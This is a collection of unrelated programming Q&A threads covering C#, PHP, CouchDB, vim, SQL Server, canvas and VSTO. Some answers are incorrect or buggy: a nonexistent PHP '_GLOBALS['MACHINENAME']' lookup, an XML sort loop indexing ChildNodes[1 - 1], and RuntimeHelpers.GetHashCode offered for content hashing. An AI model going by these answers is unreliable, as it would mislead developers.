<p>Say I have an object that stores a byte array and I want to be able to efficiently generate a hashcode for it. I've used the cryptographic hash functions for this in the past because they are easy to implement, but they are doing a lot more work than they should to be cryptographically oneway, and I don't care about that (I'm just using the hashcode as a key into a hashtable).</p> <p>Here's what I have today:</p> <pre><code>struct SomeData : IEquatable&lt;SomeData&gt; { private readonly byte[] data; public SomeData(byte[] data) { if (null == data || data.Length &lt;= 0) { throw new ArgumentException("data"); } this.data = new byte[data.Length]; Array.Copy(data, this.data, data.Length); } public override bool Equals(object obj) { return obj is SomeData &amp;&amp; Equals((SomeData)obj); } public bool Equals(SomeData other) { if (other.data.Length != data.Length) { return false; } for (int i = 0; i &lt; data.Length; ++i) { if (data[i] != other.data[i]) { return false; } } return true; } public override int GetHashCode() { return BitConverter.ToInt32(new MD5CryptoServiceProvider().ComputeHash(data), 0); } } </code></pre> <p>Any thoughts?</p> <hr> <p>dp: You are right that I missed a check in Equals, I have updated it. Using the existing hashcode from the byte array will result in reference equality (or at least that same concept translated to hashcodes). for example:</p> <pre><code>byte[] b1 = new byte[] { 1 }; byte[] b2 = new byte[] { 1 }; int h1 = b1.GetHashCode(); int h2 = b2.GetHashCode(); </code></pre> <p>With that code, despite the two byte arrays having the same values within them, they are referring to different parts of memory and will result in (probably) different hash codes. I need the hash codes for two byte arrays with the same contents to be equal.</p>
<p>The hash code of an object does not need to be unique. </p> <p>The checking rule is: </p> <ul> <li>Are the hash codes equal? Then call the full (slow) <code>Equals</code> method.</li> <li>Are the hash codes not equal? Then the two items are definitely not equal.</li> </ul> <p>All you want is a <code>GetHashCode</code> algorithm that splits up your collection into roughly even groups - it shouldn't form the key as the <code>HashTable</code> or <code>Dictionary&lt;&gt;</code> will need to use the hash to optimise retrieval.</p> <p>How long do you expect the data to be? How random? If lengths vary greatly (say for files) then just return the length. If lengths are likely to be similar look at a subset of the bytes that varies.</p> <p><code>GetHashCode</code> should be a lot quicker than <code>Equals</code>, but doesn't need to be unique.</p> <p>Two identical things <em>must never</em> have different hash codes. Two different objects <em>should not</em> have the same hash code, but some collisions are to be expected (after all, there are more permutations than possible 32 bit integers).</p>
<p><a href="http://msdn.microsoft.com/en-us/library/system.runtime.compilerservices.runtimehelpers.gethashcode.aspx" rel="nofollow noreferrer">RuntimeHelpers.GetHashCode</a> might help:</p> <blockquote> <p>From Msdn:</p> <p>Serves as a hash function for a particular type, suitable for use in hashing algorithms and data structures such as a hash table.</p> </blockquote>
3,706
<p>Are use cases just multiple user stories??</p> <p>What are the benefits of using user stories over use cases.. and vice-versa... When to use one over other... Does all agile methodologies uses user stories??</p>
<p>Actually, the original use cases (see <a href="https://rads.stackoverflow.com/amzn/click/com/0201544350" rel="noreferrer" rel="nofollow noreferrer">Jacobson's OOSE</a>) were pretty lightweight, much as user stories are now. Over time, they evolved until a common format for "use cases" now is a complicated document with inputs, outputs, inheritance, uses relationships, pseudocode, etc. Programmers, in general, try to convert everything into programming.</p> <p>In any case, the attempt to defined what distinguishes a "use case" from a "user story" fro a "scenario" is pretty futile, as it's hard to find two authorities who agree.\</p> <p>Personally, I find the pattern "[Actor] [verbs] [noun] to get [business value]" helpful. If it gets over about a paragraph of text, it may be too big.</p>
<p><strong>User Stories</strong> is a tool used in Agile development to make sure you create the product your user really needs. </p> <ul> <li>It describes rather <strong>why</strong> you should make this or that feature instead of <strong>HOW</strong> or <strong>WHAT feature</strong>. </li> <li>From my personal experience, it's a great way to balance the client's and developer's vision to create a better product.</li> </ul> <p>Unlike US a<strong>Use Case</strong> focuses on WHO uses your product. Here is the difference.</p> <p>I'd say there is no other such instrument for an Agile developer as User Stories. If you want to learn how to write them successfully, check out <a href="https://magora-systems.com/how-to-write-great-user-stories/" rel="nofollow noreferrer">this</a> post. </p>
49,628
<p>I'm using the following view function to iterate over all items in the database (in order to find a tag), but I think the performance is very poor if the dataset is large. Any other approach?</p> <pre><code>def by_tag(tag): return ''' function(doc) { if (doc.tags.length &gt; 0) { for (var tag in doc.tags) { if (doc.tags[tag] == "%s") { emit(doc.published, doc) } } } }; ''' % tag </code></pre>
<p><em>Disclaimer: I didn't test this and don't know if it can perform better.</em> </p> <p>Create a single perm view:</p> <pre><code>function(doc) { for (var tag in doc.tags) { emit([tag, doc.published], doc) } }; </code></pre> <p>And query with _view/your_view/all?startkey=['your_tag_here']&amp;endkey=['your_tag_here', {}]</p> <p>Resulting JSON structure will be slightly different but you will still get the publish date sorting.</p>
<pre><code># Works on CouchDB 0.8.0 from couchdb import Server # http://code.google.com/p/couchdb-python/ byTag = """ function(doc) { if (doc.type == 'post' &amp;&amp; doc.tags) { doc.tags.forEach(function(tag) { emit(tag, doc); }); } } """ def findPostsByTag(self, tag): server = Server("http://localhost:1234") db = server['my_table'] return [row for row in db.query(byTag, key = tag)] </code></pre> <p>The byTag map function returns the data with each unique tag in the "key", then each post with that tag in <code>value</code>, so when you grab key = "mytag", it will retrieve all posts with the tag "mytag".</p> <p>I've tested it against about 10 entries and it seems to take about 0.0025 seconds per query, not sure how efficient it is with large data sets..</p>
25,929
<p>When defining or calling functions with enough arguments to span multiple lines, I want vim to line them up. For example,</p> <pre><code>def myfunction(arg1, arg2, arg, ... argsN-1, argN) </code></pre> <p>The idea is for argsN-1 to have its 'a' lined up with args1.</p> <p>Does anyone have a way to have this happen automatically in vim? I've seen the align plugin for lining equal signs (in assignment statements) and such, but I'm not sure if it can be made to solve this problem?</p>
<p>The previous poster had it, but forgot the <code>set</code></p> <pre><code>:set cino=(0&lt;Enter&gt; </code></pre> <p>From <code>:help cinoptions-values</code></p> <pre><code>The 'cinoptions' option sets how Vim performs indentation. In the list below, "N" represents a number of your choice (the number can be negative). When there is an 's' after the number, Vim multiplies the number by 'shiftwidth': "1s" is 'shiftwidth', "2s" is two times 'shiftwidth', etc. You can use a decimal point, too: "-0.5s" is minus half a 'shiftwidth'. The examples below assume a 'shiftwidth' of 4. ... (N When in unclosed parentheses, indent N characters from the line with the unclosed parentheses. Add a 'shiftwidth' for every unclosed parentheses. When N is 0 or the unclosed parentheses is the first non-white character in its line, line up with the next non-white character after the unclosed parentheses. (default 'shiftwidth' * 2). cino= cino=(0 &gt; if (c1 &amp;&amp; (c2 || if (c1 &amp;&amp; (c2 || c3)) c3)) foo; foo; if (c1 &amp;&amp; if (c1 &amp;&amp; (c2 || c3)) (c2 || c3)) { { </code></pre>
<p>you might get some good mileage out of using a language-specific external tool as a Vim filter. for example, if you can write a <a href="http://perltidy.sf.net" rel="nofollow noreferrer">Perltidy</a> config file to generate the formatting you want (it looks like you would want the <strong>-lp -vtc=2</strong> flags), you can then pipe your existing Vim buffer through it with</p> <pre><code>:!/path/to/tidy -config /path/to/configfile </code></pre> <p>if you're going to be running this sort of command frequently, you can define an command by putting something like the following in your .vimrc:</p> <pre><code>command -range=% Tidy &lt;line1&gt;,&lt;line2&gt;!/path/to/tidy -config /path/to/configfile </code></pre>
11,458
<p>How can I make cookies in my Flash application using ActionScript 2.0?</p>
<p>You would need to use JavaScript to work with cookies. You can do so from ActionScript using the <a href="http://livedocs.adobe.com/flash/8/main/wwhelp/wwhimpl/common/html/wwhelp.htm?context=LiveDocs_Parts&amp;file=00002200.html" rel="nofollow noreferrer">ExternalInterface API</a>.</p>
<p>In AS2, I would say just create a javascript function to set the cookie and call it from within flash using a geturl request.</p> <pre><code>// Javascript Function function setCookie(c_name,value,expiredays) { var exdate=new Date(); exdate.setDate(exdate.getDate()+expiredays); document.cookie=c_name+ "=" +escape(value)+ ((expiredays==null) ? "" : ";expires="+exdate.toGMTString()); } // AS2 Function myBtn_btn.onRelease = function(){ getURL("javascript:setCookie('my_cookie','my_value','30')"); }; </code></pre> <p>Hope that helps. chews</p> <p>p.s. that is untested code but it should work :-)</p>
36,379
<p>When a script runs under Apache, I insert <code>$_SERVER['SERVER_NAME']</code> value into an error reporting e-mail message.</p> <p>However, if a Web script forks a "worker" job with <code>nohup php ...</code>, <code>$_SERVER['SERVER_NAME']</code> appears to be empty there. Thus, if an error occurs, it's reported without a host name.</p> <p>Can I reliably get the host name by means of PHP, without calling Unix <code>hostname</code> command? </p>
<p><a href="http://uk.php.net/manual/en/function.php-uname.php" rel="nofollow noreferrer">php_uname("n")</a></p> <blockquote> <p>(PHP 4 >= 4.0.2, PHP 5)<br> php_uname — Returns information about the operating system PHP is running on</p> <p>php_uname() returns a description of the operating system PHP is running on. This is the same string you see at the very top of the phpinfo() output. For the name of just the operating system, consider using the PHP_OS constant, but keep in mind this constant will contain the operating system PHP was built on.</p> <p>On some older UNIX platforms, it may not be able to determine the current OS information in which case it will revert to displaying the OS PHP was built on. This will only happen if your uname() library call either doesn't exist or doesn't work.</p> </blockquote>
<p>You can use <code>_GLOBALS['MACHINENAME']</code> to obtain the information straight from the <code>globals</code> <code>array</code>.</p>
26,044
<p>My strongest lead is that the code who deals with the incoming XMLs is actually receiving an invalid/incomplete file hence failing the DOM parsing. Any suggestions?</p>
<p>Incomplete file is definitely the place to start looking. I'd print out the file right before the point you parse it to see what's getting sent to the parser. If it's incomplete it will be obvious. If it's invalid, you'll have a little searching to do.</p>
<p>You should have a stack trace pointing to where you NPE is thrown. That should narrow down the number of variables that can be null. Rather than getting the debugger or printf out, I suggest adding appropriate checks and throwing an exception where as soon as the error can be detected. It's a good habit to get into to avoid mysterious problems later.</p>
11,090
<p>As part of the base class for some extensive unit testing, I am writing a helper function which recursively compares the nodes of one XmlDocument object to another in C# (.NET). Some requirements of this:</p> <ul> <li>The first document is the <strong>source</strong>, e.g. what I want the XML document to look like. Thus the second is the one I want to find differences in and it must not contain <em>extra</em> nodes not in the first document.</li> <li>Must throw an exception when too many significant differences are found, and it should be easily understood by a human glancing at the description.</li> <li>Child element order is important, attributes can be in any order.</li> <li>Some attributes are ignorable; specifically <code>xsi:schemaLocation</code> and <code>xmlns:xsi</code>, though I would like to be able to pass in which ones are.</li> <li>Prefixes for namespaces must match in both attributes and elements.</li> <li>Whitespace between elements is irrelevant.</li> <li>Elements will <em>either</em> have child elements <em>or</em> <code>InnerText</code>, but not both.</li> </ul> <p>While I'm scrapping something together: <strong>has anyone written such code and would it be possible to share it here?</strong></p> <p>On an aside, what would you call the first and second documents? I've been referring to them as "source" and "target", but it feels wrong since the <strong>source</strong> is what I want the <strong>target</strong> to look like, else I throw an exception.</p>
<p>Microsoft has an <a href="http://msdn.microsoft.com/en-us/library/aa302294.aspx" rel="noreferrer">XML diff API</a> that you can use.</p> <p>Unofficial NuGet: <a href="https://www.nuget.org/packages/XMLDiffPatch" rel="noreferrer">https://www.nuget.org/packages/XMLDiffPatch</a>.</p>
<p>Based @Two Cents answer and using this link <a href="http://www.java2s.com/Code/CSharp/XML/AlphabeticalsortingoftheXmlNodes.htm" rel="nofollow noreferrer">XMLSorting</a> i have created my own XmlComparer </p> <p><strong>Compare XML program</strong></p> <pre><code>private static bool compareXML(XmlNode node, XmlNode comparenode) { if (node.Value != comparenode.Value) return false; if (node.Attributes.Count&gt;0) { foreach (XmlAttribute parentnodeattribute in node.Attributes) { string parentattributename = parentnodeattribute.Name; string parentattributevalue = parentnodeattribute.Value; if (parentattributevalue != comparenode.Attributes[parentattributename].Value) { return false; } } } if(node.HasChildNodes) { sortXML(comparenode); if (node.ChildNodes.Count != comparenode.ChildNodes.Count) return false; for(int i=0; i&lt;node.ChildNodes.Count;i++) { string name = node.ChildNodes[i].LocalName; if (compareXML(node.ChildNodes[i], comparenode.ChildNodes[i]) == false) return false; } } return true; } </code></pre> <p><strong>Sort XML program</strong></p> <pre><code> private static void sortXML(XmlNode documentElement) { int i = 1; SortAttributes(documentElement.Attributes); SortElements(documentElement); foreach (XmlNode childNode in documentElement.ChildNodes) { sortXML(childNode); } } private static void SortElements(XmlNode rootNode) { for(int j = 0; j &lt; rootNode.ChildNodes.Count; j++) { for (int i = 1; i &lt; rootNode.ChildNodes.Count; i++) { if (String.Compare(rootNode.ChildNodes[i].Name, rootNode.ChildNodes[1 - 1].Name) &lt; 0) { rootNode.InsertBefore(rootNode.ChildNodes[i], rootNode.ChildNodes[i - 1]); } } } // Console.WriteLine(j++); } private static void SortAttributes(XmlAttributeCollection attribCol) { if (attribCol == null) return; bool changed = true; while (changed) { changed = false; for (int i = 1; i &lt; attribCol.Count; i++) { if (String.Compare(attribCol[i].Name, attribCol[i - 1].Name) &lt; 0) { //Replace attribCol.InsertBefore(attribCol[i], attribCol[i - 1]); changed = true; } } } } </code></pre>
20,286
<p>What's the best data type in SQL to represent Decimal in .NET?</p> <p>We want to store decimal numbers with up to 9 decimal place precision and want to avoid rounding errors etc on the front end.</p> <p>Reading about data types, it appears using Decimal in .NET is the best option because you will not get rounding errors, although it is a bit slower than a Double.</p> <p>We want to carry this through down to the DB and want minimum conversion issues when moving data through the layers. Any suggestions?</p>
<p>So we did some testing on SQL Server. It looks like the sql type <code>decimal</code> cannot completely store any .net decimal.</p> <p>SQL Server can store a number up to <a href="http://msdn.microsoft.com/en-us/library/ms187746.aspx" rel="noreferrer">38 decimal digits long</a>. That's the total of the number of digits to the left and the right of the decimal place. You set a 'Scale', which tells SQL server how many decimal digits to reserve for the number to the right of the decimal place. If you set a scale then that takes away from the number of digits to the left of the decimal point. (Precision - Scale = number of decimal digits to the left of the decimal place)</p> <p>.NET can represent up to 28 digits to the right of the decimal point and 29 to the left. That would require a Precision of 57 in SQL Server but the max available is 38.</p> <p>So if you want to get as much <em>precision</em> as possible and your number are small enough then you could do this:</p> <pre><code>decimal(38, 28) </code></pre> <p>That would leave you with 10 digits to the left and 28 digits to the right. So any number larger than 9999999999 couldn't be represented but you wouldn't loose precision when doing currency type transactions.</p> <p>On the other hand if your numbers are <em>very large</em> you could store them with this declaration:</p> <pre><code>decimal(38, 9) </code></pre> <p>This would let you store the largest number that .net Decimal can store, which is 29 digits long. It would leave you with just 8 decimal digits of precision.</p> <p>If none of this sounds appealing then you can just store them as <code>varchar</code>. That would be allow you to save any .net decimal but it wouldn't let you perform any calculations on them in SQL.</p>
<p>If you're using SQL Server, <a href="http://msdn.microsoft.com/en-us/library/ms131092.aspx" rel="nofollow noreferrer">this table</a> might help with data type mappings.</p>
28,484
<p>I got an Anycubic Predator last month, and after resolving a few mechanical problems, I was able to get it printing decently well. The only significant modification I've made so far is a set of 8-diode TL Smoothers, and I'm now mostly operating it via Octoprint.</p> <p>However, during the last few prints, I've noticed the temperature dropping midway through the print. It warms up and cools down fine, but for some reason it's not able to sustain the temperature throughout the print.</p> <p><a href="https://i.stack.imgur.com/HoRn1.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/HoRn1.png" alt="temp graph"></a><br> In this case, the print started out at the correct temperature (200&nbsp;°C), held that temp for around 2 hours, then it dropped to a lower temp (174&nbsp;°C). It eventually went back up to the target temp, then dropped again 5 minutes later. I tried manually adjusting it to see if that could fix it, but no luck.</p> <p>After this print completed, I restarted it to show how it is easily able to reach the target temp and hold it at the <em>start</em> of the print:</p> <p><a href="https://i.stack.imgur.com/cmQlC.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/cmQlC.png" alt="temp graph 2"></a></p> <p>Any tips on diagnosing and resolving this issue?</p>
<h2>Safety First</h2> <p>Let's look at the graphs. First: you should swap firmware for one that has <a href="https://3dprinting.stackexchange.com/questions/8466/what-is-thermal-runaway-protection">Thermal Runaway</a>, as, as it is, running about 15 minutes with 28 K less than the printer is ordered to work at is a clear indication that there is no Thermal runaway protection in place - it should have tripped over that long ago! But there is more!</p> <h2>Problem</h2> <p>But this graph and the lack of Thermal Runaway Protection also are typical for printers that have a design flaw: If the airflow from the part cooling fans or the coldend-cooling fan (that's the fan that always runs) brushes over the heater block, it cools it. This limits the achievable temperature.</p> <p>Luckily, such is easily remedied in one of several ways:</p> <ul> <li>Changing the airducts for ones that does not hit the heater block</li> <li>Adding a silicone sock around the heater block</li> <li>Kapton-tape and ceramic wool can be used to make a heater-sock too</li> <li>Adding an air-shield in the shape of a bit of tinfoil can redirect the airflow away from the heater block, but make positively sure it is mounted Fire-Safe and can't be lost into the print!</li> </ul>
<p>The rise times are quicker than the fall times, which is not what I expected. Maybe a fan is turning on and off, but I'd expect to see the heater struggling to heat up. On both graphs, the rise times look like good heating and not much interference. </p> <p>It seems to me that power to the hotend is the problem, but what can cause a drop in power but not to zero (as in the first graph)? Assuming that the file and the software are OK, then it's hardware: the MOSFET and the subsequent tracks and connections become the most likely suspects. So, I'd check all the connections between hotend and control board, even undoing and reconnecting. If you have a logging voltmeter, you could try that to see if the heater voltage changes when it shouldn't. If you have an oscilloscope, see the input pulses into the MOSFET to see if changes happen at the same time you see something weird with temperatures. MOSFETs can fail in peculiar ways, so consider replacement - it's not the cost of the MOSFET that's the issue; it's all the fiddling around to actually do it.</p>
1,560
<p>I am trying to set up my tab order on the html side of my project. How do I set the tab order. Usually in visual basic, the option is in the menu bar under view/tab Order. How do I do this in asp?</p>
<p>Add TabIndex="x" to each control that can receive focus where x is an integer indicating the desired order of the controls.</p>
<p>Use the <a href="http://msdn.microsoft.com/en-us/library/system.web.ui.webcontrols.webcontrol.tabindex.aspx" rel="nofollow noreferrer">TabIndex</a> property</p>
46,906
<p>If I create a Stored Procedure in SQL and call it (<code>EXEC spStoredProcedure</code>) within the BEGIN/END TRANSACTION, does this other stored procedure also fall into the transaction?</p> <p>I didn't know if it worked like try/catches in C#.</p>
<p>Yes, <em>everything</em> that you do between the Begin Transaction and Commit (or Rollback) is part of the transaction.</p>
<p>Yes, all nested stored procedure calls are included in the scope of the transaction. If you are using SQL Server 2005 or greater, you can use Try...Catch as well. <a href="https://web.archive.org/web/20211020150034/http://www.4guysfromrolla.com/webtech/041906-1.shtml" rel="nofollow noreferrer">Here</a> is more detail on that.</p>
21,725
<p>I have a stored procedure on SQL Server 2005 doing a Serializable Transaction. Inside this transaction, it selects a table with rowlock. At the end of the procedure, after rollback/commit, it sets the transaction isolation level to Read Commited.</p> <p>This procedure is running, different processes have concurrent access controlled by these constraints, but suddenly, after some time, some processes throw a Sql Exception:</p> <blockquote> <p>The instance of the SQL Server Database Engine cannot obtain a LOCK resource at this time. Rerun your statement when there are fewer active users. Ask the database administrator to check the lock and memory configuration for this instance, or to check for long-running transactions.</p> </blockquote> <p>This is not predictable, it can happen early, or after an hour.</p> <p>What can I do to solve this problem?</p>
<p>you have too many locks for your memory. increase ram or rewrite your queries to use fewer locks. serializable is a lock hog. do you really need it?</p>
<p>I resolved this error by reducing the data range been passed between servers, meaning if you are selecting 1000 records try reducing the transaction into two batches for 500 records and another 500 records keep reducing the number until error stops</p>
36,946
<p>This is not a question with a precise answer (strictly speaking the answer would be best captured by a poll, but that functionality is not available), but I am genuinely interested in the answer, so I will ask it anyway.</p> <p>Over the course of your career, how much time have you spent on <a href="http://en.wikipedia.org/wiki/Greenfield_project" rel="nofollow noreferrer">greenfield</a> development compared with <a href="http://en.wikipedia.org/wiki/Brownfield_(software_development)" rel="nofollow noreferrer">brownfield</a>? </p> <p>Over the last 10 years I would estimate that I have spent 20% on greenfield and 80% on brownfield. Is this typical?</p>
<p>I think it's typical for professionals who deal with customers to spend more time in brownfield development. The reason is that customers typically aren't willing to throw out their existing software to adopt the "latest and greatest" (green) software.</p> <p>Developers in research or academics, however, may be more likely to do greenfield development. Start-ups as well.</p>
<p>Over the past decade or so, I've always worked on software that was used as the center of my company's business. (Both SaaS and a software product.) And while I've always come into the with an existing system (so brownfield), we've usually put out a ground-up redesign/rewrite (so greenfield.) So, to break to down:</p> <ul> <li>about 60/40 brown/green for the big projects, in number</li> <li>about 20/80 brown/green for the big projects, in time spent on them</li> <li>and nearly 0/100 brown green for little side projects</li> </ul> <p>So, that is seems to be the opposite of you. It is the nature of the companies I've sought out, and hence the projects. My software is our company's main product, and that means I work on the same code base for years, usually after having created it from scratch myself/ourselves. </p> <p>And I like it that way.</p>
6,201
<p>There is no summary available of the big O notation for operations on the most common data structures including arrays, linked lists, hash tables etc.</p>
<p>Information on this topic is now available on Wikipedia at: <a href="http://en.wikipedia.org/wiki/Search_data_structure" rel="noreferrer">Search data structure</a></p> <pre><code>+----------------------+----------+------------+----------+--------------+ | | Insert | Delete | Search | Space Usage | +----------------------+----------+------------+----------+--------------+ | Unsorted array | O(1) | O(1) | O(n) | O(n) | | Value-indexed array | O(1) | O(1) | O(1) | O(n) | | Sorted array | O(n) | O(n) | O(log n) | O(n) | | Unsorted linked list | O(1)* | O(1)* | O(n) | O(n) | | Sorted linked list | O(n)* | O(1)* | O(n) | O(n) | | Balanced binary tree | O(log n) | O(log n) | O(log n) | O(n) | | Heap | O(log n) | O(log n)** | O(n) | O(n) | | Hash table | O(1) | O(1) | O(1) | O(n) | +----------------------+----------+------------+----------+--------------+ * The cost to add or delete an element into a known location in the list (i.e. if you have an iterator to the location) is O(1). If you don't know the location, then you need to traverse the list to the location of deletion/insertion, which takes O(n) time. ** The deletion cost is O(log n) for the minimum or maximum, O(n) for an arbitrary element. </code></pre>
<p>Amortized Big-O for hashtables:</p> <ul> <li>Insert - O(1)</li> <li>Retrieve - O(1)</li> <li>Delete - O(1)</li> </ul> <p>Note that there is a constant factor for the hashing algorithm, and the amortization means that actual measured performance may vary dramatically.</p>
14,941
<p>The SQL implementation of relational databases has been around in their current form for something like 25 years (since System R and Ingres). Even the main (loosely adhered to) standard is ANSI-92 (although there were later updates) is a good 15 years old.</p> <p>What innovations can you think of with SQL based databases in the last ten years or so. I am specifically excluding OLAP, Columnar and other non-relational (or at least non SQL) innovations. I also want to exclude 'application server' type features and bundling (like reporting tools)</p> <p>Although the basic approach has remained fairly static, I can think of:</p> <ul> <li>Availability</li> <li>Ability to handle larger sets of data</li> <li>Ease of maintenance and configuration</li> <li>Support for more advanced data types (blob, xml, unicode etc)</li> </ul> <p>Any others that you can think of?</p>
<ul> <li>Hash joins</li> <li>Cost-based optimizers (pretty much turned query-writing on its head)</li> <li>Partitioning (enables much better VLDB management)</li> <li>Parallel (multi-threaded) query processing</li> <li>Clustering (not just availability but scalability too)</li> <li>More flexibility in SQL as well as easier integration of SQL with 3GL languages</li> <li>Better diagnostics capabilities</li> </ul>
<p>I think most of the progress has been in the realm of performance - query profilers and clusters.</p>
23,324
<p>How do you rotate an image with the canvas html5 element from the bottom center angle?</p> <pre><code>&lt;html&gt; &lt;head&gt; &lt;title&gt;test&lt;/title&gt; &lt;script type="text/javascript"&gt; function startup() { var canvas = document.getElementById('canvas'); var ctx = canvas.getContext('2d'); var img = new Image(); img.src = 'player.gif'; img.onload = function() { ctx.translate(185, 185); ctx.rotate(90 * Math.PI / 180); ctx.drawImage(img, 0, 0, 64, 120); } } &lt;/script&gt; &lt;/head&gt; &lt;body onload='startup();'&gt; &lt;canvas id="canvas" style="position: absolute; left: 300px; top: 300px;" width="800" height="800"&gt;&lt;/canvas&gt; &lt;/body&gt; &lt;/html&gt; </code></pre> <p>Unfortunately this seems to rotate it from the top left angle of the image. Any idea?</p> <p>Edit: in the end the object (space ship) has to rotate like a clock pointer, as if it is turning right/left.</p>
<p>First you have to translate to the point around which you would like to rotate. In this case the image dimensions are 64 x 120. To rotate around the bottom center you want to translate to 32, 120.</p> <pre><code>ctx.translate(32, 120); </code></pre> <p>That brings you to the bottom center of the image. Then rotate the canvas:</p> <pre><code>ctx.rotate(90 * Math.PI/180); </code></pre> <p>Which rotate by 90 degrees.</p> <p>Then when you draw the image try this:</p> <pre><code>ctx.drawImage(img, -32, -120, 64, 120); </code></pre> <p>? Does that work?</p>
<pre><code>&lt;html&gt; &lt;head&gt; &lt;title&gt;Canvas Pinball flippers by stirfry&lt;/title&gt; &lt;script type="application/x-javascript"&gt; /*THIS SCRIPT ADAPTED BY STIRFRY. SOURCE TEETHGRINDER no warranty or liability implied or otherwise. use at your own risk. No credit required. Enjoy.stirfry.thank(you)*/ var img = new Image(); //img.src = "flipper.gif";//right img.src="http://i39.tinypic.com/k1vq0x.gif" var img2 = new Image(); //img2.src = "flipper2.gif";//left img2.src ="http://i42.tinypic.com/14c8wht.gif" var gAngle = 0; gAngle = 60; stop = false; inertia = .8; vel = 10; k = 0.1; function drawagain(){ gAngle = 60; stop = false; inertia = .8; vel = 10; k = 0.1; draw() } function draw(){ var ctx = document.getElementById('canvas').getContext('2d'); ctx.save(); vel = ( vel * inertia ) + ( -gAngle * k ); gAngle += vel; ctx.fillStyle = 'rgb(255,255,255)'; ctx.fillRect (0, 0, 600, 600); ctx.translate(380, 480); //location of the system ctx.rotate( gAngle * Math.PI / 180 );//rotate first then draw the flipper ctx.drawImage(img, -105, -16); ctx.restore(); ctx.save(); ctx.translate(120, 480); //location of the system ctx.rotate( -1*gAngle * Math.PI / 180 );//rotate first then draw the flipper ctx.drawImage(img2, -18, -16); ctx.restore(); if( !stop ) setTimeout(draw, 30); } &lt;/script&gt; &lt;style type="text/css"&gt; body { margin: 20px; font-family: arial,verdana,helvetica; background: #fff;} h1 { font-size: 140%; font-weight:normal; color: #036; border-bottom: 1px solid #ccc; } canvas { border: 2px solid #000; float: left; margin-right: 20px; margin-bottom: 20px; } pre { float:left; display:block; background: rgb(238,238,238); border: 1px dashed #666; padding: 15px 20px; margin: 0 0 10px 0; } .gameLayer {position: absolute; top: 0px; left: 0px;} #scoreLayer {font-family: arial; color: #FF0000; left: 10px; font-size: 70%; } #windowcontainer {position:relative; height:300px;} &lt;/style&gt; &lt;/head&gt; &lt;body onload="draw()"&gt; &lt;div id="windowcontainer"&gt; &lt;canvas id="canvas" width="500" height="500"&gt;&lt;/canvas&gt; &lt;INPUT VALUE="flip" TYPE=BUTTON onClick="drawagain();"&gt;&lt;br/&gt; &lt;/div&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>
47,705
<p>I have some ASP.NET web services which all share a common helper class they only need to instantiate one instance of <em>per server</em>. It's used for simple translation of data, but does spend some time during start-up loading things from the web.config file, etc. <em>The helper class is 100% thread-safe. Think of it as a simple library of utility calls. I'd make all the methods shared on the class, but I want to load the initial configuration from web.config.</em> We've deployed the web services to IIS 6.0 and using an Application Pool, with a Web Garden of 15 workers.</p> <p>I declared the helper class as a Private Shared variable in Global.asax, and added a lazy load Shared ReadOnly property like this:</p> <pre><code>Private Shared _helper As MyHelperClass Public Shared ReadOnly Property Helper() As MyHelperClass Get If _helper Is Nothing Then _helper = New MyHelperClass() End If Return _helper End Get End Property </code></pre> <p>I have logging code in the constructor for <code>MyHelperClass()</code>, and it shows the constructor running for each request, even on the same thread. I'm sure I'm just missing some key detail of ASP.NET but MSDN hasn't been very helpful.</p> <p>I've tried doing similar things using both <code>Application("Helper")</code> and <code>Cache("Helper")</code> and I still saw the constructor run with each request.</p>
<p>You can place your Helper in the Application State. Do this in global.asax:</p> <pre><code> void Application_Start(object sender, EventArgs e) { Application.Add("MyHelper", new MyHelperClass()); } </code></pre> <p>You can use the Helper that way:</p> <pre><code> MyHelperClass helper = (MyHelperClass)HttpContext.Current.Application["MyHelper"]; helper.Foo(); </code></pre> <p>This results in a single instance of the MyHelperClass class that is created on application start and lives in application state. Since the instance is created in Application_Start, this happens only once for each HttpApplication instance and not per Request.</p>
<p>I 'v done something like this in my own app in the past and it caused all kinds of weird errors. Every user will have access to everyone else's data in the property. Plus you could end up with one user being in the middle of using it and than getting cut off because its being requested by another user.</p> <p>No there not isolated.</p>
8,807
<p>Does anyone know how to modify the content of the Excel ribbon at runtime with VSTO 2005SE? Not only update labels or dynamic menus, but also add or remove buttons, tabs, groups, drop downs etc. At runtime means not only at my add-in startup, but also during work with Excel.</p>
<p>Irrespective of VS version, I don't think all that you want is actually possible with the current version of the RibbonX control*. Specifically, there's no functionality for adding and removing. You <em>can</em> control visibility, though, so you can put everything in by default and make it visible or otherwise as needed.</p> <p>* which was 2007 at time of writing - Excel/Office 2010 may have changed things</p>
<p>If you use Visual Studio 2008, you have a great ribbon designer.</p> <p>Do you want to have methods that is triggered by excel?</p>
36,408
<p>I'm writing an application that can be started either as a standard WinForms app or in unattended mode from the command-line. The application was built using the VS 2k5 standard WinForms template.</p> <p>When the application is executed from the command-line, I want it to output information that can be captured by the script executing the application. When I do this directly from Console.WriteLine(), the output does not appear, although it can be captured by piping to a file.</p> <p>On the other hand, I can force the application to pop up a second console by doing a P/Invoke on AllocConsole() from kernel32. This is not what I want, though. I want the output to appear in the same window the application was called from.</p> <p>This is the salient code that allows me to pop up a console from the command line:</p> <pre><code>&lt;STAThread()&gt; Public Shared Sub Main() If My.Application.CommandLineArgs.Count = 0 Then Dim frm As New ISECMMParamUtilForm() frm.ShowDialog() Else Try ConsoleControl.AllocConsole() Dim exMan As New UnattendedExecutionManager(ConvertArgs()) IsInConsoleMode = True OutputMessage("Application started.") If Not exMan.SetSettings() Then OutputMessage("Execution failed.") End If Catch ex As Exception Console.WriteLine(ex.ToString()) Finally ConsoleControl.FreeConsole() End Try End If End Sub Public Shared Sub OutputMessage(ByVal msg As String, Optional ByVal isError As Boolean = False) Trace.WriteLine(msg) If IsInConsoleMode Then Console.WriteLine(msg) End If If isError Then EventLog.WriteEntry("ISE CMM Param Util", msg, EventLogEntryType.Error) Else EventLog.WriteEntry("ISE CMM Param Util", msg, EventLogEntryType.Information) End If End Sub </code></pre>
